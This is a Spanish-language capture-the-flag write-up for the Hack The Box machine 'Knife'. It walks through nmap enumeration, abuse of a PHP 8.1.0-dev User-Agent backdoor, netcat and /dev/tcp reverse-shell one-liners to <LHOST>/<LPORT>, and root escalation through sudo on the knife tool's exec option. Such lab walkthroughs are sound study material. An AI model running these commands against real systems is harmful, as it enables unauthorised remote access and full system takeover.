En este writeup vamos a ver cómo resolver la máquina Knife de la plataforma de Hack the Box.
Conexión
Conectar nuestra máquina de ataque a la VPN:
$ openvpn gorkamu-htb.ovpn
Enumeración
Si hacemos un nmap vemos que solo tiene dos puertos abiertos:
$ nmap -p- --open -n -T5 -v 10.10.10.242
PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack ttl 63 OpenSSH 8.2p1 Ubuntu 4ubuntu0.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 be:54:9c:a3:67:c3:15:c3:64:71:7f:6a:53:4a:4c:21 (RSA)
80/tcp open http syn-ack ttl 63 Apache httpd 2.4.41 ((Ubuntu))
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Emergent Medical Idea
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Puerto 22 y puerto 80.
Al abrir el navegador web y inspeccionar las cabeceras encontramos lo siguiente:
La web está utilizando una versión de desarrollo de PHP (php/8.1.0-dev)
Capturar User Flag
Existe este exploit https://github.com/flast101/php-8.1.0-dev-backdoor-rce que mediante el uso de la cabecera User-Agent permite crear una conexión con el servidor y enviar comandos remotos.
Si lo ejecutamos obtendremos una backdoor al sistema:
El siguiente paso es levantarnos un netcat y lanzar una petición desde el backdoor para obtener una shell más interactiva.
En la máquina objetivo ejecutar lo siguiente:
rm /tmp/f;mknod /tmp/f p;cat /tmp/f|/bin/sh -i 2>&1|nc <LHOST> <LPORT> >/tmp/f
Una vez que tengamos la conexión con netcat podemos irnos al directorio /home/james y ver el fichero user.txt
Capturar Root Flag
Para hacer la escalada de privilegios y capturar la root flag podemos ver que permisos tiene el usuario james. Para ello:
$ sudo -l
Matching Defaults entries for james on knife:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User james may run the following commands on knife:
(root) NOPASSWD: /usr/bin/knife
Vemos que este usuario puede ejecutar el fichero /usr/bin/knife como root.
Knife es una utilidad de ruby que permite ejecutar comandos para administrar un repositorio de Chef.
Mirando en su documentación vemos que tiene una opción la cual permite ejecutar tanto scripts de ruby como comandos del sistema.
/usr/bin/knife exec <options>
Para ello nos vamos a ir al directorio /tmp y ahí crearemos nuestro script de ruby invocando a una bash.
$ cd /tmp
$ echo "system('/bin/bash')" > test.rb
$ sudo /usr/bin/knife exec test.rb
id
uid=0(root) gid=0(root) groups=0(root)
Con esto ya hemos escalado privilegios y somos root. Ya podemos ir al directorio /root para ver la flag root en el fichero root.txt
Otra forma que podríamos conseguir lo mismo es abrirnos una nueva conexión con netcat y poner en el script de ruby lo siguiente:
$ echo '%x[bin/bash -c "bash -i >& /dev/tcp/<LHOST>/<LPORT> 0>&1"]' > x.rb
$ sudo /usr/bin/knife exec x.rb
Esto nos abriría la conexión como root en la nueva sesión netcat aunque esto también nos serviría si en lugar de escribir un script lo ejecutamos directamente en la llamada a knife con el parámetro -E
$ sudo /usr/bin/knife exec -E '%x[/bin/bash -c "bash -i >& /dev/tcp/<LHOST>/<LPORT> 0>&1"]'